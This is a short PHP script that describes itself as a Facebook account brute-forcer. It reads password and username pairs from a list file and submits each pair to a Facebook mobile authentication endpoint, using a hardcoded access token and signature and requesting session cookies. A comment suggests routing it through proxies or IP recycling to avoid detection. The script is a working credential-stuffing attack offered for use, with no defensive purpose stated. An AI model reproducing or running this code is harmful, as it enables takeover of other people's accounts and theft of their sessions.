<?php
/* fb account bruteforce shit
todo: use it with bunch of proxies or ip recycler

to use, make a list.txt file and make the entries inside follow this format :
password|username/phone/email
*/
function startchk($user, $pass){
	$result = file_get_contents("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=$user&locale=en_US&password=$pass&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6");
	$jsonaccess = json_decode($result);
	echo $result;
}
$file = file_get_contents("list.txt");
$list = explode(PHP_EOL, $file);
$cnt = count($list);
set_time_limit($cnt * 3600);
foreach ($list as $key => $cc) {
$pass = explode("|", $cc)[0];
$user = explode("|", $cc)[1];
ob_start();
	startchk($user, $pass);
	$output = ob_get_contents();
ob_end_clean();
echo $output . "</br>";
ob_flush();
flush();
}
?>